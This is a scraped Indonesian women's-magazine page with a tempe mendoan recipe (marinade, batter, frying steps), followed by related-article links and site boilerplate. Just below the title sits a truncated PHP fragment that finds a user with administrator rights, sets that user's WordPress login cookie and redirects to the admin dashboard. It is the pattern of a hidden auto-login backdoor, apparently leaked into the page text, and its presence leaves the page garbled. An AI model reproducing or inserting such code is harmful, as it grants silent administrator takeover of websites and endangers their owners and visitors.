Tempe Mendoan, Gorengan Enak dari Banyumas

user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */

Tahu & Tempe

4 May 2023

Dok.Shutterstock

300 g tempe

Perendam, campur jadi satu:

100 ml air

2 siung bawang putih, haluskan

½ sdt garam
Pelapis:

200 g tepung terigu

3 sdm tepung kanji

100 g tepung beras

400 ml air

1 sdm ketumbar bubuk

5 siung bawang putih, haluskan

4 cm kencur, haluskan

1 sdt garam

10 batang kucai, iris ½ cm

Pelengkap

Cabai rawit

1/ Iris tempe setipis mungkin hingga berukuran 6x8cm, atau sesuaikan dengan bentuk tempe.

2/ Atur tempe iris dalam wadah datar. Tuangi campuran bumbu perendam di atasnya, balik-balikkan agar kedua sisinya terlumuri bumbu perendam. Sisihkan agar bumbu meresap.

3/ Pelapis: Larutkan tepung terigu, tepung kanji, dan tepung beras dengan air, aduk hingga menjadi adonan yang licin. Masukkan ketumbar, bawang putih, kencur, dan garam, aduk hingga menjadi adonan yang rata. Masukkan kucai, aduk rata.

4/ Panaskan minyak yang banyak dalam wajan di atas api sedang. Ambil 1 lembar tempe, masukkan ke dalam bahan pelapis, segera masukkan ke dalam minyak panas.

5/ Goreng tempe hingga setengah matang (jangan sampai kering dan renyah), angkat, tiriskan. Sajikan panas dengan pelengkap cabai rawit. (f)

Baca Juga:
Mobile Banking dan E-Wallet Jadi Pilihan Transaksi Digital Favorit Masyarakat
Kurma dan Kolang Kaling, Takjil Buka Puasa Paling Diburu di E-commerce
Masyarakat Makin Akrab dengan Pembayaran Digital, Termasuk untuk Bayar Biaya Pendidikan

Trifitria Nuragustina

Clean Cut Emporio Armani

0% Plastic Bag Project

Terbesar! 320 Jenama Ikut Meramaikan Brightspot Market 2025

Future Archive jadi tema Brightspot Market 2025 yang digelar pada 29 Mei-1 Juni dan 5-8 Juni 2025.

Besok, Hidangan dari Buku Pusaka Rasa Nusantara Karya Chef Ragil Ada di Conrad Bali

Memperkenalkan buku istimewa, menunjukkan ke warga Bali akan kayanya Nusantara.

Disney On Ice: Find Your Hero Bakal Tampil di Jakarta dan Surabaya

Siapa yang sudah rindu karakter Disney yang meliuk-liuk di atas es? Siapkan dirimu untuk kehadiran Disney On Ice presents Find Your Hero.

recommended

Menikmati Tradisi yang Terus Bergerak di SU MA Volume 6, Passage

Chef Brendon Chen dan Chef Ryan Kim membawa SU MA ke babak berikutnya dan Femina diajak mencoba.

VW Tour, Movie Night, hingga Floating Dinner, Cara Menikmati Sisi Lain Kamandalu Ubud

Aktivitas seru yang membuatnya jadi destinasi menarik bersama para bestie!

5 Cara Lebih Mindful Menghadapi Situasi Saat Ini

Dunia lagi ramai, kamu nggak harus ikut panik.

5 Cara Menikmati Tengah Minggu Meski Lagi Sibuk-sibuknya

Belum juga akhir pekan, tapi kamu keburu Lelah fisik dan mental?

Produk Hairstyling Terbaru Ini Membantu Menjaga Kelembapan Alami Rambut

Segera hadir di Pekan Raya Jakarta 2026, tiga produk terbaru Panasonic Beauty yang lebih dari sekadar alat menata rambut.

Kagetkan Fans, Sooyoung dan Jung Kyung-ho Putus Setelah 14 Tahun Bersama

Di saat fans mengira mereka sedang mempersiapkan pernikahan, kabar ini jatuh seperti bom.

about

Femina is a magazine for smart, independent, modern Indonesian women.

digital magazine

Available at :

(021) 250 333 28
langganan@pranagroup.id